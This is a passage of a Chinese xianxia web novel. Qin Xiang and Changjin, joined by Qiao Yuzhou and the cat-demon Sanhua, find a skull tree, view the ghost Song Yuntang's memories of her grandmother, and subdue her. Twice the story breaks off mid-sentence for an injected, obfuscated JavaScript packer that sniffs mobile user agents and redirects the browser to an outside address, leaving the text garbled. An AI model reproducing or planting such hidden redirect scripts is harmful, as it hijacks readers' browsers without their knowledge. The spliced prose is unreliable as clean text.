“噗嗤,”乔玉洲被她逗笑,目光自她身上扫过,才道,“我说秦大小姐,我这副打扮,像是大盗吗?倒是你,你这副打扮,还有……嗯……”他意有所指地用眼神看看长锦,“再加上你刚才那副行径,明明你才更像采花大盗。” 被他这么一说,秦湘懵了,他看见了?!她与长锦刚才的那个场景被他看见了?!她现在杀了他灭口还来得及吗?! 她急急地低头看了看自己现在的样子,一身男装在刚在和女鬼的打斗之中已经有多处破损,还有那藤条袭击过来之时顺带还掀乱了她的头发,再加上方才如果她和长锦的那副动作…… 如果真的被乔玉洲观看了全程的话,这么一比,她确实更像是个采花大盗,或者说是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799565|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被采花的那一个! 想到这,秦湘炸毛,急得跳脚,脸连带着耳根子瞬间通红。她生怕长锦误会,损害她的形象,连忙就反驳他道,“啊,你住嘴,不要胡说。” 逗够了,乔玉洲笑了好一阵,才看向长锦,道:“好好好,我不胡说,那这位是?” 当年花溪镇大战,乔玉洲率领着弟子在修补结界,所以他并未和长锦打过照面,自然也就不认得他。秦湘便答道,“席清长老。” “哦?”虽然没见过长锦,但是席清长老的名号还是听过的,毕竟那场大战让他扬名立万,修仙界内无人不知腾岳之巅新晋的这一位席清长老,实力惊人,以一己之力化解了一场人间浩劫。 因此,乔玉洲再看向长锦的目光之时,就不再带有调侃玩笑了,他双手抱拳,与他一礼:“见过席清长老,在下双灵阁乔玉洲。” 见这人与秦湘相识,长锦也朝他点了点头,亦回一礼,“腾岳之巅长锦。” 这一个小插曲过后,三人站在空无一人的街头。秦湘将乱糟糟的头发重新整理了一下,随手扎了个高马尾,又整理了一下衣角,才正色对乔玉洲道:“好了,不开玩笑了,你正经一点,你怎么会在这里?” “我不是都说了吗?”乔玉洲摊手,“我是来逛夜市的。” “不要开玩笑,”秦湘恨不得一剑捅死他,“再乱讲我真的要动手了,我跟你说,我真的忍你很久很久了。” “真没开玩笑,”乔玉洲无奈地笑道,“我本来就是在逛夜市的,但是我现在在等人。” “等人?”秦湘突然想起了周楚闵曾经说过,乔玉洲身边跟着一个女子。他曾亲口说过,那是他的道侣,秦湘是真的对这个奇女子很好奇,所以她就问了,“你等……”谁? 谁字还未曾说出口,一个脆生生的声音便从他们的上方传来,“乔玉洲!” 抬头去看,只见三人的头顶又豁然开了一道漩涡。下一秒,一个毛绒绒的事物就如方才的秦湘一样,从天而降,然后精准无误地掉落在了乔玉洲怀里。 是一只异瞳长毛三花猫。 乔玉洲将它抱了个满怀,眼神温润如春水,“我等的人来了。” 秦湘和长锦站在一旁,看着这猫下一秒就在乔玉洲怀中变化成了一个十六七岁的娇俏少女。 少女一身苗疆服饰,赤足,脚踝上挂着几串小铃铛,腰间系着一个乔玉洲头顶上带着的同款狐狸面具。因为使用妖力的原因,此时的她,虽是人形,但也有一半妖的形态,浅金卷发,碧蓝异瞳,头顶还顶着一对毛绒绒的猫耳。 她双臂环绕着乔玉洲的脖颈,正欲与乔玉洲说话,但一转头,就与秦湘长锦对上了眼。她一愣,声音清脆如风铃,但也十分不客气,“你们是谁?” 秦湘道:“我叫秦湘,你是谁?乔玉洲的道侣就是你?” 那少女一愣,旋即将乔玉洲搂的更紧了,眼神对秦湘还抱有一些敌意,直接道:“嗯,是我,乔玉洲是我的夫君。” 秦湘真的要惊呆了,她是真的没想到,乔玉洲的道侣竟然会是一只猫妖!! 与秦湘大惊的表情不同,听着少女的话,又被少女搂着,乔玉洲很受用。他轻笑一声,过了半晌,才轻轻地拍了拍她,声音轻柔道,“好了,三花,不闹了,这位姑娘与其他人不同,她不会喜欢我的,你没看见她身旁还站着一位公子吗?” 被叫做三花的少女视线在长锦身上看了一眼,从乔玉洲怀里跳下,哦了一声,方才对秦湘的敌意和对乔玉洲的亲昵神态瞬间消失不见,又重新道:“那我重新说一次,我叫三花,是妖族五大族之一猫族的圣女,乔玉洲是我的跟班。” 秦湘:“???” 长锦:“……” 乔玉洲抬手在她的头上揉了两把,猫耳也被他压了压,又倏而弹起,“好啦,三花,这个先停一下,先说正事,你追寻那阴邪之气而去,怎么样,有什么发现没?” 三花晃了晃耳朵,伸手将被乔玉洲捏在手心的耳朵揪了回来,抬头暴躁道:“乔玉洲!不许玩我的耳朵!” 乔玉洲低头眯着眼,笑得一脸柔和,悠悠地道:“三对金镯子,外加新的小铃铛。” 这话就像是捏住了三花的命门一样,如果秦湘仔细瞧一下,就会发现此时的三花就像石化在了原地,手指捏拳,一个巨大的忍字就那样大喇喇地贴在了她的脑门上。 三花的拳头在空中紧了又松,松了又紧,最终无力放下。她双手环胸,眼神不耐,就差对乔玉洲一顿呲牙咧嘴了,咬牙切齿道:“乔玉洲,你给我等着!” “嗯,好~我等着,”一拳打在了棉花上,乔玉洲依旧笑眯眯,“好了,先说说正事,情况到底怎么样了?” 22.骷髅花树 三花忍了又忍,才道:“我追她追到了尽头,那里有一个结界,很奇怪的结界,我所有的攻击都对那结界无效,根本打不开,所以我折返回来找你来了。” 听闻两人的谈话,秦湘脑中灵光一闪。她急忙道:“你们看见的那阴邪之气是不是一个女鬼?就是一个长得很漂亮很漂亮手里拿着一束荷花,脖子上还有一个完整的刀切面的女鬼姑娘?” 话音刚落,乔玉洲和三花齐刷刷地看向了她。乔玉洲顿了顿,才道:“哪个人家的漂亮姑娘死的这么惨?一整个刀切面?这是直接被斩首了吗?” 秦湘也不知道那女鬼的死法,不过她脖子上那刀切面真实的可怕,还有那飞起来的头颅,还有那几人的死法,于是便道:“我也不知道她是如何死的,不过最后她肯定被割下了头颅过。” 三花摇摇头道:“那阴邪之气远远看着只是一团黑雾,我们并没有看见她的形态,所以我也不知道我追的和你说的是不是同一个东西。” 乔玉洲又道:“所以你这夜半三更的就是出来追鬼的?” 听着他语气中的不信任,又看着他狐疑的目光自她和长锦身上划过。秦湘脑海中忽然想到了某个场景,倏而又炸了:“不然呢!你以为我像你这么闲啊,半夜三更不在炅洲逛夜市,跑来巴陵逛夜市,怎么,炅洲那么小,不够你逛的?!” 乔玉洲看着她炸毛的样子,不紧不慢地拍了拍腰间坠着的收纳锦囊,笑道:“我才不是专门要跑来巴陵逛的呢,这不是要给伯父送丹药和灵力石嘛,不然谁要来腾岳之巅,炅洲那么大,双灵阁哪哪不比你这好,倒是你,我又没说你半夜三更是出来干嘛的,你急什么?” “……”秦湘简直气炸,最后一丝残存的理智告诉她,要忍住,不能在神君面前发火,不然会很影响形象的。于是深吸一口气,拉着长锦就走,“走,神君,我们不要跟他呆在一起了。” 乔玉洲看着她气冲冲的样子,带着三花便跟了上去,“走,三花,我们也走。” 秦湘回头,恶狠狠道:“你做甚!!不要跟着我们,我们要去抓鬼去了,不和你玩了。” 乔玉洲挑了挑眉,语气温柔却欠扁,“我们也是追着那阴邪之气去的,也是去抓鬼,怎么?那鬼是你家的?只许你抓,不许我们抓呀。” 秦湘拳头捏了捏,忍。 最终还是四人结队一起走了。毕竟双灵阁和腾岳之巅还是交好的,看在爹爹的面子上,来者是客,不能对客人没礼貌。再转念一想,乔玉洲功法也不差,还有一手好医术,万一有用得着他的地方呢,不用白不用。想到这,秦湘也就释然了。 因为四人结队而行,三花又跟过那女鬼,知道那位置所在,所以长锦也就退了下去,不用再大费周章地再用那骷髅花来寻找方位了。 长街上,三花虚浮于半空中,一条硕大蓬松的尾巴在她身后无风而动。她双手在胸前结印,橙色的光华自她掌心而起。随着她双臂一展开,一个橙色灵力的漩涡在众人面前展开,三花轻轻地落在地面,道:“好了,走吧。” 三花第一个进去,这传送法阵是三花开的,是她的法力流转,所以她走在最前头,既是为了稳固法阵,也是为了带路。随后跟着的是乔玉洲,走在最后的是秦湘和长锦。 这种传送法阵通道并不能直接瞬移到想到达的目的地点,只是在这基础上大大地缩短了这中间的路程,所以几人还是得要走一段小小的路程。 通道内,秦湘看着走在最前头的三花,看着她毛绒绒的猫耳随着走路的频率而抖动着。她顿了一顿,还是没按耐住,拉着长锦走到了乔玉洲身旁,悄声喊道:“乔玉洲。” “嗯?”乔玉洲偏头瞧她,“怎么了?” “师兄说你说你身旁跟着的女子是你的道侣,所以三花真是你的道侣?你从哪里骗来这么可爱的小猫咪来当你媳妇的?” 乔玉洲叹了口气,听他的语气仿佛还有些惋惜,道:“我倒是想,但她不是,现在还不是。” “嗯?”秦湘惊奇,挑了挑眉,“不是?那你在外面大肆宣传她是你的道侣?还有刚才你俩,这到底是怎么一回事呀?” 乔玉洲瞥了她一眼,将事情始末给她粗粗细细地讲了一下。原来,三花是因为受伤,在某一天被乔玉洲偶然捡来的,伤好之后,就留在了双灵阁暂住下了。然后乔玉洲前期又结下了太多风流桃花债,每每出行,都能被那些胆子大的女弟子围拥。 可不知从何时起,乔玉洲就变了,不撩拨姑娘了。可这哪里由得了他,谁叫他前期欠下的风流债太多,现在知道错了,晚了。于是后来三花看他可怜兮兮的,就答应和他签订协议,在外面装作他的道侣,替他回绝那些姑娘,而他相应的,就要为三花提供在人界的一切衣食住行。 听闻这些事情,秦湘翻了个白眼,“你竟然有浪子回头的一天?我不信。” “啧,秦湘,你说这话就没意思了,”乔玉洲笑道,“咱们好歹一起长大,好歹我也陪你练了那么多年的剑,我是什么样的人你不知道吗?你太让我伤心了。” 秦湘满脸都写着“婉拒了哈”,她“呵”了一声,拉着长锦快走了两步,“神君,我们走,离这个人远一点,这个人不是好人,和他待久了会学坏的。” 长锦在不熟的人面前本就不爱说话,也不做什么表示,就由着秦湘走。 乔玉洲低低地笑了几声,也跟上了他们的步伐,继续在秦湘身边道:“喂,秦湘,好歹我大半夜的还帮你来捉鬼呢,你这样说话真的没意思了哈。” “……”秦湘立住,转身面向他,朝他伸出手指,振振有词,“第一,我又没有求你过来,是你自己要跟过来的;第二,就算没有你帮忙,我和神君也能搞定;第三,你不要揽功劳,开传送通道的是三花,我要谢也是谢她,你不要在这里狗仗猫势。” “你骂我?”乔玉洲不可置信。 “是的,骂的就是你,”秦湘点了点头给予他肯定的答案,“好了,不要跟着我了,我暂时不想跟你讲话了,神君,我们走。” 这边两人吵吵闹闹,那边三花已经在前方站定,回头道:“好了,到地方了。” 四人出了漩涡通道,橙色漩涡法阵也于众人身后散去。而他们此时所处位置,已经不是玉溪城城区了,是荒郊野岭的一片空地上,摆在他们面前的,是一层红色的结界薄膜。 秦湘看着这层结界,转头看向三花:“三花姑娘,你就是看见那阵黑雾进去了这个结界之中?” 三花点了点头:“是啊,这结界邪得很,根本攻不破,不过它不拦普通人,在没有灵力的人眼里,根本看不见这层东西,他们能直接畅通无阻地穿行在这片地方。” 秦湘不信邪,既然已经来了,要进去就不怕悄悄摸摸,最好弄出动静直接让那个女鬼出来直面他们最好。她手中凝聚一股灵力,朝着那层结界轰去,可灵力一接触那结界面,仿若直接被吸收了一般,如泥牛入海。 “让我也来试试。”乔玉洲站了出来,也汇聚了灵力朝着那结界轰去,可结果还是和秦湘一样的,没造成任何影响。 长锦站在一旁,目光自着结界之上打量而过,他皱了皱眉头,手中蓄力,渡天神火在掌心凭空而出。他朝着那结界轻轻一挥,巨大的火势瞬间包裹了整个结界,下一秒,火光熄灭,结界崩塌,一个红色漩涡通道就这样打开在了众人面前。 乔玉洲和三花简直惊呆了,秦湘亮着一双星星眼,双手竖着大拇指夸夸,感慨万千:“神君,你好厉害呀。” 长锦侧过半张脸,道:“这结界上面有魔气。” “什么?!”乔玉洲和秦湘一惊。 怪不得他们的攻击对它无效,两人想起了三年前那从厄运之门封印内逃出的魔兽,众人的攻击也是对它们无效,只能短暂地将它们控制,并不能完全击杀。 厄运之门的洞开,那幕后之人三年以来看似没有任何动静,其实各种各样的乱象丛生,就已经是最大的不对劲。这本来只是秦湘的猜测,但此时却得到了应证。 秦湘盯着那红色漩涡,喃喃道:“原来我的猜想竟是没有错的。” 长锦将秦湘拉在身后,抬腿先行走向那漩涡 ,“先进去看看吧。” 四人向着那漩涡走去,长锦走在最前方开道,秦湘跟在他的身后,随即是三花,最后是乔玉洲。 走进结界之内,长锦立住了脚步,剩下的三人不知他为何停下,皆是愣了一下;然后走出来立在了他身边,看到面前的景象,又皆是愣了一下。 只见众人面前,一棵粗壮的巨树竖立在这结界之中。而这树上却没有一片树叶,只有无数无数密密麻麻的人头骷髅,它们的两个眼洞中间,正幽幽地散发着红色的光华。这幅场景,在黑暗之中是要多诡异有多诡异,要多恐怖有多恐怖。 三花无端抖落了一身的鸡皮疙瘩,一方面是乍一眼看见这画面,冲击力太大。另一方面是这密密麻麻的真让猫头皮发麻,恶心死了。她不自觉地朝乔玉洲靠近了两步,手指攥住他的衣袖。 乔玉洲感受到了身旁的动静,他伸手轻轻拍了拍三花的手,以示安抚。他朝她笑了笑,又牵住了她的手,顺势就将她的手包裹在宽大的掌心之中。 三花低头看了看相牵在一起的两只手,指尖在他的掌心微微颤抖了一下。嘴唇动了动,似乎想说什么,但最终什么也没说。 看着这棵树,秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803732|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湘可太熟悉了。这树不就是那时在幻境之中,长街之上那女鬼吸收了那束骷髅花之后拔地而起的那棵。但好像又有些不同,它好像更大,更粗,更壮些。 而此时,四周一片寂静。秦湘并没有感受到任何危险的气息,那时那可怖的磁场压力也并没有出现,就像是这树陷入了沉睡之中,还未曾苏醒。 秦湘走向前去,环绕着这树走了一圈,转到树干背面的时候,她一惊,连忙招呼几人过来,“你们快过来看,这里有个人!” 三人闻声走了过来,果然,在树干的背面,有一个人,不过是一个早已死亡的人。 此人一身道袍,三四十岁的年纪,皮肤发青,尸首分离,虽死去已久,但还不曾腐烂。 他的躯干此时正跪在树干面前,胸口大开,心脏缺失,佝偻着背,是一个忏悔姿势,而他的头颅就摆放在他的躯干旁边,睁大着眼睛,张大着嘴巴,满脸惊恐,仿佛死前遭受了极大的折磨,看见了极为恐怖的画面。 乔玉洲低头瞧了一眼,就将眼移开了,“这什么仇什么怨?斩首又挖心,还做成人俑,这女鬼的手段也太残忍了吧!” 秦湘皱了皱眉头,她想到了那女鬼的惨状,也想起了她那滔天的恨意,在没有看见她的脸之前,那女鬼提及道士用了一种说法,“收人钱财,替人办事,在你们这些人眼里,没有对错,没有善恶,只有利益”。 所以这道士是程鸿恩叫来的?他和人联手杀了她?然后怕女鬼的魂魄回来找他复仇,所以叫了道士来镇压她,结果更加激起了她的恶意,最终所有人不得善终? 推想到这,秦湘叹了口气,道:“也许真的就是天大的仇天大的怨呢。” 乔玉洲一愣,也想起了秦湘曾说那女鬼的面貌是脖颈上一整道完整的刀切面,头颅曾被人割下过,于是惊道:“你是说?那女鬼生前是被这人害的?然后以其人之道还治其人之身?” 秦湘摇摇头,“这就不知道了,不过,这人应当也算是其中之一。” “女鬼不在这,这里面也没有魔气。”长锦在这结界内打量了一圈,除了一开始结界外层上附罩着的魔气,这结界内,只有这棵诡异的骷髅树和这跪着的尸体。 秦湘走了几步,四下望望,想想也是,他们这么大动静了,可到目前为止,这里除了他们四人之外,却并无其他危险的气息靠近。她道:“先四下看看吧,这棵骷髅树我在那女鬼的幻境之中见到过,既然它在这,那这肯定也是那女鬼的藏身之处,她肯定会再回来的。” 四人在这结界之中仔细查看了一番,结界内很安静,并无任何异常。一无所获,秦湘站在那棵树前,望着树干发呆,心中不免也有些气馁。 是不是哪里想错了?难道这里不是?不对,如果不是,那为何她会把这具无头尸放在这里,跪着,面对着这树?她记得,女鬼手中握着的那束荷花,既是那束骷髅花,也是这棵骷髅树,这棵树,肯定有什么不对之处。 边想着,秦湘伸出手,在她正准备触摸一下这树干之时,一阵轰隆隆的声音在她面前炸开。 秦湘心中一骇,急忙后退,抬头一看,面前的树干之上,蓦然开了一个红色漩涡通道,俨然又是一个结界。再转头一看,三花蹲在那具无头尸的头颅旁边,一只手按在上面,和她四目相对。 三花眨眨眼,举起手,语气尴尬,“我是不是碰到了什么不得了的东西……” 秦湘也眨眨眼,旋即笑道:“没有,你碰的好。” 原来机关在这,被三花误打误撞,将这具尸体的头颅踩下或者按下,就能打开机关。 乔玉洲被声响吸引了过来,一看见三花蹲在那尸体旁边,手还虚虚地按在那脑袋上面,顿时就炸了。他冲过去,掏出一块干净的锦帕,握着她的手就是一顿狂擦,皱眉道:“不要乱摸这种又脏又臭又恶心的东西,万一有毒有陷阱怎么办。” “……”看着两人,秦湘摇了摇头,没眼看。转头去找长锦,一行人站在这树干面前,看着面前的结界若有所思。 乔玉洲道:“树干之中竟然会有传送通道结界?怎样,要进去看看吗?” 秦湘眯了眯眼,道:“来都来了,这是今晚上唯一的收获了,进去看看吧。”说罢,就要打头阵,朝着那结界走去,刚走到一半,就被人拉住了,长锦将她护在身后,道:“我走前面。” 一行人穿过那红色漩涡通道,走进树洞。 进了这树洞之后才发现,这棵骷髅树树洞之内,竟然别有洞天。这内里,并不如它的外表那么可怖悚然,反而更像是个世外桃源般的地方,顶是一片星河,一轮明月高高悬挂,底是小桥流水人家,而几人此时就站在一座小石桥上。 23.花之执念 秦湘被这幻境之中的景象惊了半晌,才讶然道:“没想到这里面竟是一副这样的光景……” 话音刚落,一旁却突然传来了一道小孩清脆的笑声。众人心中皆是一愣,朝着声源处望去。 只见石桥下不知何时起又多了一棵绿色的垂柳,一个四五岁的小女孩的身影渐渐在树下浮现。她穿着一身粉色的小衣衫,扎着一个三角髻,笑着朝着几人跑过来,又径直从几人的身体之中穿行了过去。 乔玉洲转头看了看那个跑远的身影,摸了摸下巴道:“那个小女孩是什么?是鬼吗?” 三花手指探出一缕灵力,半晌,摇摇头道:“不是,她的身上没有邪气也没有鬼气。” 长锦走了两步,伸手摸了摸石桥上的栏杆,可还未抚上,那栏杆就变成了虚影。 他的手从中穿行而过,等他再收回手时,那虚影又恢复成了清晰的实体。他沉吟片刻,淡声道:“这里所有的东西都是虚影,是一个记忆空间。” “记忆空间?”秦湘略一思索,突然福至心灵,道,“那说明这就是那女鬼的记忆了,所以刚刚那个小女孩就是小时候的女鬼?” “可能是的,每个从地府归来的亡魂心中所念都是不一样的,有些无牵无挂的,头七之后魂魄再归地府,就可以喝孟婆汤过忘川投胎转世,也有些心中执念颇深的,就会不愿离去。” “这结界藏得这么深,难道这是女鬼心中的执念?”秦湘四下打量了一番,小桥流水,繁星满月,这怎么看都是一副惬意的人间烟火画卷,“可是不对呀,就目前来看,她心中的执念不是因为程鸿恩吗?就算永坠地狱,也要杀了他们的恨意,那才是她心中的执念。” 乔玉洲道:“先别想这么多了,直接跟上去看看就知道怎么回事了。” 一路跟随着那小女孩而去,走了大约有一柱香的功夫了,一座小木屋才凭空浮现在了众人面前。而那女孩就站在那木屋门前,推门而入,众人一顿,连忙跟了进去。 屋内,一个身形瘦小,粗布麻衫的中年妇人背向着众人而坐,一张小桌上点着一盏老旧的油灯。 烛影摇晃,在她面前,摆放着的是一大盆开得正好的荷花和莲蓬。妇人袖子挽在手臂上,佝偻着背,手脚麻利地分拣着盆中的荷花。 “奶奶。”推门而入的女孩脆生生地唤道。 妇人闻声停下了手中的工作,然后回头,愣了一下,将手在身上擦了两把,才伸手接过朝她飞奔过来的女孩,将她圈在怀中,笑道:“阿棠回来了,今晚上的表演好看吗?” 阿棠?!宋允棠?! 听闻这个名字,再看见那妇人熟悉的脸,秦湘心中一怔,死死地盯着面前的两人,眼中满是不可置信。这竟然是白日里码头那个卖花的奶奶和她的孙女? 思绪震乱,她转头去瞧长锦。长锦自然也注意到了这些,转头瞧她,朝她摇了摇头,示意她先别急,再看看。秦湘点点头,将脸又偏了回去。 屋里的画面还在继续,宋允棠站在那妇人面前,眼睛里面亮晶晶的,“好看,今晚上唱的是霸王别姬!”却只一瞬,又暗了下去,语气闷闷不乐,“但是奶奶你都不陪我去,每次都是让翠萍姐姐带我去,我不想再和翠萍姐姐去看戏了,我想和奶奶去。” 那妇人闻言,伸手揉了揉宋允棠的脑袋,声音里都是怜爱:“下次,下次奶奶一定会陪你去。” “好多个下次了,奶奶你总是很忙,”宋允棠圆圆的脸鼓起来,似有些赌气,“你每天不是在采花就是在卖花,根本没有时间陪我。” “傻孩子,我不卖花,还怎么给你买甜甜的糖花糕,”妇人笑着将宋允棠搂在怀里,指了指盆中的荷花,“等明天把这些卖了,奶奶就给阿棠多买两块糖花糕好不好?” 四五岁的孩童心中没有太多的顾虑,听闻妇人这么说,就将之前的话题抛之脑后了。宋允棠脸上洋溢着天真的笑,脆生生地应了,“好,我还想要糖葫芦,奶奶可以吗?” “当然可以,不过今晚上奶奶要将这些弄完才行,阿棠要是困了可以先去睡觉。” “那我和奶奶一起弄,我陪着奶奶,两个人一起弄就可以很快很快将它们弄完啦。”说着,宋允棠也蹲在那盆荷花面前,从中抽出一支,学着妇人一开始的动作,细细检查着,分类着。 妇人心中微动,随即也笑了,从一旁又搬了个小木凳给宋允棠坐下。 烛影绰绰,将祖孙俩的影子在身后拉得很长很长。 两人围着满盆的荷花,宋允棠抬头看向她,又唤她,“奶奶。” “嗯?” “明天我也和奶奶一起去卖花吧。” “好。” 她们有说有笑,秦湘站在一旁,在烛火之中渐渐湿了眼眶。看着这一幅岁月静好温馨的画面,让她不由自主地就想到了小时候杜元霜与她的时光,再想到白日里玉溪城码头的卖花奶奶和之后宋允棠的那个样子,心中徒然就是一阵酸楚,又难过,又心疼。 画面渐渐淡去,祖孙俩的身影也渐渐模糊,光暗交替。待众人眼眸再次能视物之时,呈现在几人面前的已是另外一幅画面,是热热闹闹的人间市集。 长街青巷,宋允棠背着一个小小的竹编背篓蹦蹦跳跳地走在石板路上,手中还握着一块大大的糖花糕。那妇人也背着一个竹背篓跟在后面,她快步上前,护在宋允棠的身边。 “阿棠,你慢些,小心摔着。” 宋允棠将手中的糕点掰作两半,将其中的一半递给了妇人,“奶奶,这半给你。” 妇人微微一愣,脸上神情微动,半晌,才蹲在她身前,与她齐平,摸摸她的头温声道,“奶奶不吃,留给阿棠吃。” “不可以,”宋允棠摇摇头,执拗地将糕点塞在妇人手中,“翠萍姐姐说,要懂得分享,奶奶对我好,我就要对奶奶好,如果奶奶不吃,只有我一个人吃,我吃着就不香了,也不甜了。” 妇人被她的话逗乐,看着面前乖巧的孩子,心中也软化如水。她弯了弯眼睛,从孩童手中接过那半块糕点。 夕阳西下,她们相携远去,四人站在她们身后,心中皆是怅然。 画面到这就算是结束,所有的虚影在这夕阳之中相继隐去。众人站在一片苍白的虚无之中,眼前也没有新的画面再次亮起。 愣了很久,乔玉洲才唏嘘长叹一声,轻声道:“这两个画面,你们看出了什么没有?” 秦湘双眉紧蹙,心中很堵,闷闷地道:“宋允棠她,可能心中的执念是让奶奶白发人送黑发人,还有那块没有买回去的糖花糕,再也买不回去了。” 乔玉洲道:“宋允棠是谁?两个画面你看出来这么多东西?” “……”这打破气氛的话,秦湘白了他一眼。 “你刚刚是不是朝我翻了个白眼?”乔玉洲看着她,很无奈,“我本来就不知道宋允棠是谁啊。” 秦湘叹了口气,将今天早上她与长锦在玉溪城码头发生的那些事又跟他讲了一遍。听完,乔玉洲了然地点了点头,“原来如此,那一切就说的通了。” “什么?”秦湘没明白他说的什么。 “你不是说那女鬼原本是在发狂的,但是看见了你的脸之后,就平静了下来,还放过了你,那岂不就是因为你今天上午帮了她奶奶?所以她认得你?” “这么瞧来,这叫做宋允棠的姑娘是真的心善,怎就落得这个下场。”三花喃喃。 “你说得有理。”秦湘若有所思,按照这个说法,一切确实就说的通了。因为那个卖花的老奶奶,所以宋允棠,没有伤害她。 “我们先出去吧,”长锦站在秦湘身边,淡淡地道,“等明天再去那码头问问那老人家就知道了。” 一行人离开了这个记忆结界,朝着外面走去。可谁知,还未曾走出这结界,一阵剧烈的震动就从几人的脚底开始荡开。乔玉洲身形不稳,愕然道:“怎么回事?是什么东西来了吗?” 秦湘也没好到哪里去,她稳住身子,才回道:“可能是宋允棠回来了,这棵树很危险,我们快出去!” 几人动用了个瞬移符咒,来到了结界外。 结界外,女鬼一袭红衣滴血,她立于半空之中,掌心虚虚托着一束骷髅花,正散发着幽幽的光华。而面前的骷髅树也受其影响,成百上千的骷髅头在这夜色之中闪烁着,应和着。 见到几人凭空出现在她面前,女鬼声音中杀气渐起:“又是你,我明明都已经放过你一回了,可你还是不要命的跟了过来,既然你想死,那我就成全你。” 话音一落,也不等几人一个反应时间,一阵极其浓郁的黑雾就围绕着那棵巨大的骷髅树弥漫开来,与此同时一起来的还有那无端而起的磁场压力。 三花是妖,受这磁场魔气影响比其他人更深,此时已是幻回了原型被乔玉洲抱在怀中。 乔玉洲单膝跪地,额间冷汗涔涔,正想说话,一颗骷髅头就脱树而出,倏尔变大,张开漆黑的大嘴就朝他猛掠而来。 “小心!”秦湘猛地一扑,将这一人一猫往左边一带,堪堪躲过这空中飞舞着的骷髅头。 她迅速爬起身,朝着乔玉洲道,“这结界现在是宋允棠的主场,这棵骷髅树散发出的气息可以压制我们的灵力,你自己多加小心,被这骷髅头咬一口那可不是闹着玩的。” 宋允棠虚虚立于半空之中,一双原本清冷的眼眸之中闪烁着血色的妖冶。她看着地面上用着轻功上 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“笑话!”闻言,宋允棠冷哼一声,周身爆发出更甚的魔气。鲜血不断滴落,她发丝飞舞,五爪猩红,就朝着长锦猛地掠去。 长锦护在几人面前,一双眼眸波澜不惊地低垂着。神本就因魔而生,相生相克,宋允棠这一身的魔气与魔主出于同宗,相对于常人来说虽然看上去气势汹汹,但在长锦看来,比起魔主而言,这根本就是不值一提的。 长锦目光淡然,衣袖轻轻一挥,宋允棠周身的魔气便在须臾之间尽数散去;再翻手向上微微一抬,宋允棠便整个人忽地向上猛然抛去,四条灵气锁链将她牢牢锁在半空之中。 “不!不!不!放开我!怎么可能!!”宋允棠剧烈的挣扎着,鲜血不断地从她的裙角滴落,她双目暴突,声音尖锐恨极,“我献祭了自己的一切,就算魂飞魄散也在所不惜,可程鸿恩还没死,大仇得报只剩最后一步,我又怎可功亏一篑,毁于你们之手,我不甘心,我不甘心!!” 她一边叫嚣着,一边发狂着,结界内那棵骷髅巨树受其召唤影响,居然倏地拔地而起,不断地缩小凝聚成了一束如风铃般的骷髅花,在空中发出妖冶的红光。 宋允棠眼神一凛,百余个红光骷髅头应召而出,大张着嘴,伴随着阵阵嘶吼低嚎声,朝着长锦齐齐飞来。 然而,长锦居然徒手捏住了第一个飞掠而至的骷髅头,五指轻轻一捏,骷髅在他的掌心化为了齑粉。手势一变,再微微并拢一收,那骷髅花就这么被他直挺挺地收入了手中。 花一易主,便不再受宋允棠控制,空中飞舞着的无数骷髅头登时便化作了漫天花瓣,纷纷扬扬地坠落了下来。 宋允棠不可置信地看着在长锦手中化回了一束荷花的骷髅花,她蓦地睁大眼睛,“你究竟是何人!!” 长锦冷冷地站在杀气四溢的夜风里,手中那束娇艳欲滴的荷花在他掌心化为了点点星光而后消失不见。他抬眼看着她,目光不惊不澜,声音温和淡然:“我说过了,我只是腾岳之巅的一个道士而已,这不重要,还是说说你吧,你说你献祭了自己才得到了这一身的魔气,你是将自己献祭给了何人?他许诺你,让你杀了程鸿恩等人报仇雪恨,作为交换,事成之后,你是不是就由他调遣?” “是又如何,这与你何干!” 看着面前状若疯狂的宋允棠,长锦眉头微微一皱,“你何至于此?你最初心中的执念真的只是杀了程鸿恩等人吗?那幕后之人最擅长的便是放大人内心深处的恶念,他放大了你的恶,淡化了你的善,让你忘记了你内心深处真正在意的东西。他给你这一身的魔气不过是为了让你尽情杀戮,好让你彻头彻尾成为一个恶的载体,再用你来做自己的事情,届时,你便算是真的魂飞魄散,永不入轮回了。” “……”宋允棠一顿,旋即猛地一抬头,坚定着道,“你胡说!我最初的执念就是杀了程鸿恩,杀了苏子煜,杀了他们,除此之外,再无其它!!” 一旁的秦湘闻言抬头向望她,声音不容置疑,她沉声道:“宋姑娘,你口口声声说你的执念是报仇雪恨,我不否认你会有这样的想法,可你内心最深处在意的,不是对宋芸奶奶的愧意更大吗?一念之差,就是阴阳相隔,不复相见。你可还记得,你最后和奶奶说的话,你可还记得,你答应了奶奶会给她带的那块糖花糕?你的奶奶日复一日地在等你,她在等你回家。” “奶奶……”宋允棠双目茫然失措,她不断地嗫嚅着这两个字。脑中忽然闪过一个发丝银白瘦小干瘪的身形,她猩红的瞳孔一点点地缩小,内心深处仿佛有个什么事物将破土而出。 几许沉默,她猛然摇晃着头,放声长叫,凄惨尖锐的声音响彻夜空。 24.善恶之魂 “啊啊啊啊啊!!!”宋允棠被束缚在半空之中,被秦湘的话语一刺激,她仰着头,神情痛苦,放声尖叫。两道红色的灵力从她身上散发出来,在她的上方衔接投射成了两道虚影。 